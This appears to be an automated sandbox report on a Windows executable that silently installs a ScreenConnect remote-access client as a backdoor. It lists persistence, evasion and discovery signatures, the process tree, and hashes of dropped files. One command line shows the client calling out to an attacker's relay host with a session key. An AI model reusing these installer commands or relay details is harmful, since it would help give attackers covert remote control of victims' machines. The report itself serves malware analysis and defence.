Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 04:22

General

  • Target
    d5b75afa907d0319cb882da437539b700ca446ace13407bd3c84f9f003bab411.exe
  • Size 19.8MB
  • Sample260930-ezb8ds11a1
  • SHA256 d5b75afa907d0319cb882da437539b700ca446ace13407bd3c84f9f003bab411
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 42 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5b75afa907d0319cb882da437539b700ca446ace13407bd3c84f9f003bab411.exe
    "C:\Users\Admin\AppData\Local\Temp\d5b75afa907d0319cb882da437539b700ca446ace13407bd3c84f9f003bab411.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.6.9747\e545f607918feecc\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\d5b75afa907d0319cb882da437539b700ca446ace13407bd3c84f9f003bab411.exe"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4556
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 713F2D2510A683B67843D317BCB530BB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5276
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5C7E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4076
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI61BF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240738921 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
        3⤵
        • Badlisted process makes network request
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        PID:6068
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI68A5.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240740609 18 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2760
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4780
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9CF217225E03C6057AFC70540CE8E5C8
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5100
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8CED0F87868685424FB3F61AEA3F6215 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5144
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3976
    • C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-j0qe28-relay.screenconnect.com&p=443&s=237a6068-d132-49b7-a480-d32947c196eb&k=BgIAAACkAABSU0ExAAgAAAEAAQC1vwknbWJfJtSYr9HwgaarZYfwxKkW7KRW1pMprWk9fDqGpbYZN8agnMRBoQBhpG3T8HMpTH9Gj2RGKNDXSEzvdxPRGqI%2bLcuGNtpaMQksQesWOT6BbG7gggLYMwsXy7JWrkoPrJ8fG4RiGJ1dNM9RNOa278BsJdRUhdGwAcHZ4%2brXZOTUMg4Y5NKtLhGmttRopUHmsCpWu3IKl%2bD2e8Hdf%2f8uWJXhrWc7IqX67NB430oijCqaIASi6pkI7Z%2feU3KPU9I93b%2f7aoulm0kXUstK6b5p0Pn6cFBG%2bM1UY4Ow4mf%2bG%2fVL%2fVS4IhL8b%2bc7DE9ETo9T5Z51edY5yfkwoL%2bb&c=Freshest%20Result&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5436
      • C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsClient.exe" "RunRole" "1e893a45-e9bd-4fff-948c-dcf819792e48" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3796
      • C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsClient.exe" "RunRole" "0a9ad5eb-c9a6-407c-be07-774848920771" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5280

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59c0c7.rbs

          • Path C:\Config.Msi\e59c0c7.rbs
          • Size 214KB
          • SHA256 ae81b2fd7614a8825be7f693b52cd9fbf3f87fac762116412c51b5f0b45d1cc9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\Client.en-US.resources
          • Size 64KB
          • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.Client.dll
          • Size 615KB
          • SHA256 787a02b1938e8c1ce52448b8779d2c9c47029664f97185177c2584e8f980abc4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.ClientService.dll
          • Size 176KB
          • SHA256 579fa008b8c96612163fd8a89a978140a652b3739867772df0711fca148705aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 d887f20ec383d7ce3a5727856bf7fa68ceb972108b6d0a5dd9924707e820dc24
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.Core.dll
          • Size 1.3MB
          • SHA256 5b2d14e237485c0164d865d8a94f8a8bed28ab0db52c6a7ef99f7ebb9648d324
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.Windows.dll
          • Size 1.9MB
          • SHA256 88dd22f6f0ca70d10c64ca919b0d8b6d73e84c1d567d4b8d15b6e9a9b60d6d8f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsClient.exe
          • Size 1.6MB
          • SHA256 b7a495f517b9bf23f529552b145121f922ab4915e24b663ae68b3007daea3804
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 239377f4d2345d2a4ff6e3cbebd83c6edb06db4daea389159d19770a2dfcb80c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e545f607918feecc)\system.config
          • Size 968B
          • SHA256 be5fb931fdbaddb0c965e2fb1d4384b75bd68017b1fc21cd4c134160f3812886
          • MD5 SHA1 SHA512 TLSH

          MSI5C7E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5C7E.tmp
          • Size 1.9MB
          • SHA256 1dabfa60015c186a4315f16d46d9e53435dc259c52843e73dac0d04be92f9a84
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5C7E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5C7E.tmp-\ScreenConnect.Core.dll
          • Size 1.3MB
          • SHA256 e5fd82d18c2dcaadbfc4b72b56573e819cc3e8ee6406f2edb982cc073dc607bb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5C7E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 24KB
          • SHA256 cf8505204b1458dac9cb3002fd5bbd5fac43c5b4702aa0153fb4b9a2cfcf954a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5C7E.tmp-\ScreenConnect.Windows.dll
          • Size 1.8MB
          • SHA256 ed1b4eb6c24c85392f692bf5863d9ccb76575051bb605360961b9d7624a371c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CustomAction.config

          • Path C:\Users\Admin\AppData\Local\Temp\MSI61BF.tmp-\CustomAction.config
          • Size 234B
          • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI61BF.tmp-\ScreenConnect.WindowsInstaller.dll
          • Size 390KB
          • SHA256 c469358d585fa9f1637a02d194e162e454d90b8dc7e4939f88b36e09b04a7a96
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.6.9747\e545f607918feecc\ScreenConnect.ClientSetup.msi
          • Size 16.2MB
          • SHA256 e0c8009537c796b88b092b3b8f87aa0e3b11c261f516d18b68faa01f43a43718
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSICA0E.tmp

          • Path C:\Windows\Installer\MSICA0E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          lg1025eh.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e545f607918feecc)\lg1025eh.newcfg
          • Size 683B
          • SHA256 eb54b58652df40622b76f9fb293c1960a1a961f013714d3a2942df3abe3fef52
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e545f607918feecc)\user.config
          • Size 520B
          • SHA256 ec7baf8567a16a06a7e842a580ded22e8ff1e76fa4b0f052ba46bf920ea5c309
          • MD5 SHA1 SHA512 TLSH

          wxnwawaf.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e545f607918feecc)\wxnwawaf.newcfg
          • Size 882B
          • SHA256 f7627ce0c8a3d9ae59551d42b60a1ce54ec7d391f79d03b132711021e7e2d6b0
          • MD5 SHA1 SHA512 TLSH

          memory/1800-7-0x00000000742C0000-0x0000000074A7C000-memory.dmp

          memory/1800-6-0x0000000006060000-0x0000000006240000-memory.dmp

          memory/1800-0-0x00000000742D2000-0x00000000742D3000-memory.dmp

          memory/1800-1-0x0000000003690000-0x0000000003698000-memory.dmp

          memory/1800-13-0x00000000742C0000-0x0000000074A7C000-memory.dmp

          memory/1800-11-0x00000000742C0000-0x0000000074A7C000-memory.dmp

          memory/1800-10-0x00000000742C0000-0x0000000074A7C000-memory.dmp

          memory/1800-2-0x0000000005D40000-0x0000000005D4C000-memory.dmp

          memory/1800-4-0x0000000005F00000-0x000000000605A000-memory.dmp

          memory/1800-9-0x00000000062E0000-0x0000000006372000-memory.dmp

          memory/1800-3-0x00000000742C0000-0x0000000074A7C000-memory.dmp

          memory/1800-5-0x0000000005DE0000-0x0000000005E48000-memory.dmp

          memory/1800-8-0x0000000006800000-0x0000000006DBA000-memory.dmp

          memory/3796-220-0x000000001BC60000-0x000000001BE40000-memory.dmp

          memory/3796-224-0x00000000028B0000-0x00000000028F1000-memory.dmp

          memory/3796-222-0x000000001BE40000-0x000000001BFC8000-memory.dmp

          memory/3796-223-0x0000000002A60000-0x0000000002A90000-memory.dmp

          memory/3796-218-0x000000001B390000-0x000000001B42E000-memory.dmp

          memory/3796-217-0x00000000005F0000-0x0000000000786000-memory.dmp

          memory/3796-219-0x000000001B920000-0x000000001BA7A000-memory.dmp

          memory/4076-42-0x00000000054C0000-0x000000000561A000-memory.dmp

          memory/4076-38-0x0000000005350000-0x000000000535C000-memory.dmp

          memory/4076-34-0x0000000005320000-0x000000000534E000-memory.dmp

          memory/4076-46-0x0000000005800000-0x00000000059E0000-memory.dmp

          memory/5280-226-0x0000000001570000-0x00000000015B1000-memory.dmp

          memory/5436-197-0x0000000004D60000-0x0000000004DA1000-memory.dmp

          memory/5436-159-0x0000000004A60000-0x0000000004BBA000-memory.dmp

          memory/5436-163-0x0000000004DA0000-0x0000000004F80000-memory.dmp

          memory/5436-153-0x0000000002470000-0x00000000024A0000-memory.dmp

          memory/5436-165-0x0000000004D10000-0x0000000004D60000-memory.dmp

          memory/5436-199-0x00000000052B0000-0x0000000005386000-memory.dmp

          memory/5436-195-0x0000000005020000-0x00000000050BE000-memory.dmp

          memory/6068-76-0x0000000005C60000-0x0000000005CC8000-memory.dmp